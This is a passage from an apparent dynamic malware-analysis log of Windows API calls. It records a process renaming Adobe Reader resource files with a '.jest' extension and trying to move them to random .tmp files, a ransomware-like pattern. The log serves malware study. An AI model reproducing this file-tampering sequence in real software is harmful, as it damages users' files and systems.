lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.061] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳卟⹉硴t") returned 0x6b [0151.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt") returned 108 [0151.061] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳卟⹉硴⹴敪瑳") returned 0x70 [0151.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.061] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汳卟⹉硴⹴敪瑳") returned 0x70 [0151.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x1467bd4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt.jest") returned 113 [0151.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt", lpUsedDefaultChar=0x0) returned 108 [0151.062] VarBstrFromR4 (in: fltIn=0x4794505f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.74") returned 0x0 [0151.062] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.062] CoFreeUnusedLibraries () [0151.063] GetTickCount () returned 0x115788a [0151.063] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.063] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.063] GetTickCount () returned 0x115788a [0151.063] IsWindowVisible (hWnd=0x30268) returned 0 [0151.063] Sleep (dwMilliseconds=0x0) [0151.064] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZbJlHwXAWMxZkGVHtPO5rrHQhY3kOEDUFkURPyxyYvc_n5AVYQ7E99zDwRpwv-mCKV8zojR3eQXEj OH_WAsaMvDKL7MZb5hdjBI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbjlhwxawmxzkgvhtpo5rrhqhy3koedufkurpyxyyvc_n5avyq7e99zdwrpwv-mckv8zojr3eqxej oh_wasamvdkl7mzb5hdjbi.tmp")) returned 0 [0151.064] GetLastError () returned 0x2 [0151.065] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.065] CoFreeUnusedLibraries () [0151.065] GetTickCount () returned 0x115789a [0151.065] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.065] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.065] GetTickCount () returned 0x115789a [0151.065] IsWindowVisible (hWnd=0x30268) returned 0 [0151.065] Sleep (dwMilliseconds=0x0) [0151.067] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt.jest")) returned 1 [0151.068] GetLastError () returned 0x0 [0151.068] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳琮瑸") returned 0x68 [0151.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.068] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳琮瑸") returned 0x68 [0151.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=105, lpWideCharStr=0x144bb04, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt") returned 105 [0151.068] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳琮瑸樮獥t") returned 0x6d [0151.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.068] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳琮瑸樮獥t") returned 0x6d [0151.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=110, lpWideCharStr=0x1445ffc, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt.jest") returned 110 [0151.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt", lpUsedDefaultChar=0x0) returned 105 [0151.069] VarBstrFromR4 (in: fltIn=0x47945061, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.76") returned 0x0 [0151.069] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.070] CoFreeUnusedLibraries () [0151.070] GetTickCount () returned 0x115789a [0151.070] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.070] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.070] GetTickCount () returned 0x115789a [0151.070] IsWindowVisible (hWnd=0x30268) returned 0 [0151.070] Sleep (dwMilliseconds=0x0) [0151.071] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Pjiq28ZADdJw5-PBxgA88nw3fibYO 4nfUQPvJ2brTO_AbWbjoMipLxrwGZHBvstMYKJRG2Z-4jLsI0uEQSUap6 zH5pkEr66LR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8pjiq28zaddjw5-pbxga88nw3fibyo 4nfuqpvj2brto_abwbjomiplxrwgzhbvstmykjrg2z-4jlsi0ueqsuap6 zh5pker66lr.tmp")) returned 0 [0151.071] GetLastError () returned 0x2 [0151.072] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.072] CoFreeUnusedLibraries () [0151.072] GetTickCount () returned 0x115789a [0151.072] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.072] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.072] GetTickCount () returned 0x115789a [0151.072] IsWindowVisible (hWnd=0x30268) returned 0 [0151.072] Sleep (dwMilliseconds=0x0) [0151.074] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt.jest")) returned 1 [0151.076] GetLastError () returned 0x0 [0151.076] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳卟⹋硴t") returned 0x6b [0151.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.076] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳卟⹋硴t") returned 0x6b [0151.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt") returned 108 [0151.076] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳卟⹋硴⹴敪瑳") returned 0x70 [0151.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.076] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歳卟⹋硴⹴敪瑳") returned 0x70 [0151.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt.jest") returned 113 [0151.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt", lpUsedDefaultChar=0x0) returned 108 [0151.077] VarBstrFromR4 (in: fltIn=0x47945061, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.76") returned 0x0 [0151.078] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.078] CoFreeUnusedLibraries () [0151.078] GetTickCount () returned 0x115789a [0151.078] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.078] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.078] GetTickCount () returned 0x115789a [0151.078] IsWindowVisible (hWnd=0x30268) returned 0 [0151.078] Sleep (dwMilliseconds=0x0) [0151.079] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0QbzVqqIefQ5-CL3 dRQPEJ pLedTfrxT5MXwN9BlIXJaKn0LutCKmZfY6BqNkLJQbRclW_eyqxcF2xX3X8iU9DIOq1UpvkUILyNZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0qbzvqqiefq5-cl3 drqpej pledtfrxt5mxwn9blixjakn0lutckmzfy6bqnkljqbrclw_eyqxcf2xx3x8iu9dioq1upvkuilynz.tmp")) returned 0 [0151.079] GetLastError () returned 0x2 [0151.080] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.080] CoFreeUnusedLibraries () [0151.080] GetTickCount () returned 0x115789a [0151.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.080] GetTickCount () returned 0x115789a [0151.080] IsWindowVisible (hWnd=0x30268) returned 0 [0151.080] Sleep (dwMilliseconds=0x0) [0151.087] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt.jest")) returned 1 [0151.088] GetLastError () returned 0x0 [0151.088] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲剟⹕硴t") returned 0x6b [0151.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.088] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲剟⹕硴t") returned 0x6b [0151.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt") returned 108 [0151.088] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲剟⹕硴⹴敪瑳") returned 0x70 [0151.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.088] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲剟⹕硴⹴敪瑳") returned 0x70 [0151.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x1445ffc, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt.jest") returned 113 [0151.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt", lpUsedDefaultChar=0x0) returned 108 [0151.089] VarBstrFromR4 (in: fltIn=0x47945063, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.77") returned 0x0 [0151.089] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.090] CoFreeUnusedLibraries () [0151.090] GetTickCount () returned 0x11578a9 [0151.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.090] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.090] GetTickCount () returned 0x11578a9 [0151.090] IsWindowVisible (hWnd=0x30268) returned 0 [0151.090] Sleep (dwMilliseconds=0x0) [0151.092] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3Ix6CTsYE98dca0eiR5GD41XiDmrhoSiuI7E JyQs6Ko2C3s5ZX-ZuforXvq7Br-E4WdeSjBz-5IZRcuwrv sCLFd0M8Dxz-5Qdi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ix6ctsye98dca0eir5gd41xidmrhosiui7e jyqs6ko2c3s5zx-zuforxvq7br-e4wdesjbz-5izrcuwrv sclfd0m8dxz-5qdi.tmp")) returned 0 [0151.092] GetLastError () returned 0x2 [0151.093] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.093] CoFreeUnusedLibraries () [0151.093] GetTickCount () returned 0x11578a9 [0151.093] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.093] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.093] GetTickCount () returned 0x11578a9 [0151.093] IsWindowVisible (hWnd=0x30268) returned 0 [0151.093] Sleep (dwMilliseconds=0x0) [0151.095] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt.jest")) returned 1 [0151.098] GetLastError () returned 0x0 [0151.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲琮瑸") returned 0x68 [0151.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲琮瑸") returned 0x68 [0151.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=105, lpWideCharStr=0x1467bd4, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt") returned 105 [0151.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲琮瑸樮獥t") returned 0x6d [0151.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.099] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲琮瑸樮獥t") returned 0x6d [0151.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=110, lpWideCharStr=0x144ddec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt.jest") returned 110 [0151.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt", lpUsedDefaultChar=0x0) returned 105 [0151.100] VarBstrFromR4 (in: fltIn=0x47945065, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.79") returned 0x0 [0151.100] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.100] CoFreeUnusedLibraries () [0151.100] GetTickCount () returned 0x11578b9 [0151.100] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.100] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.100] GetTickCount () returned 0x11578b9 [0151.101] IsWindowVisible (hWnd=0x30268) returned 0 [0151.101] Sleep (dwMilliseconds=0x0) [0151.102] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fLJItfyUf_T8DqG7mJ-T2odJFY1g2-vo97BlTJe0ZK_pQRQGHj6r6kHpsLEyb9HILMeLzE3BIlM39lWLqJi 6U gDzSGPvXW0B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fljitfyuf_t8dqg7mj-t2odjfy1g2-vo97bltje0zk_pqrqghj6r6khpsleyb9hilmelze3bilm39lwlqji 6u gdzsgpvxw0b.tmp")) returned 0 [0151.103] GetLastError () returned 0x2 [0151.103] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.103] CoFreeUnusedLibraries () [0151.103] GetTickCount () returned 0x11578b9 [0151.103] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.103] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.103] GetTickCount () returned 0x11578b9 [0151.104] IsWindowVisible (hWnd=0x30268) returned 0 [0151.104] Sleep (dwMilliseconds=0x0) [0151.105] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt.jest")) returned 1 [0151.106] GetLastError () returned 0x0 [0151.106] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畲啟⹁硴t") returned 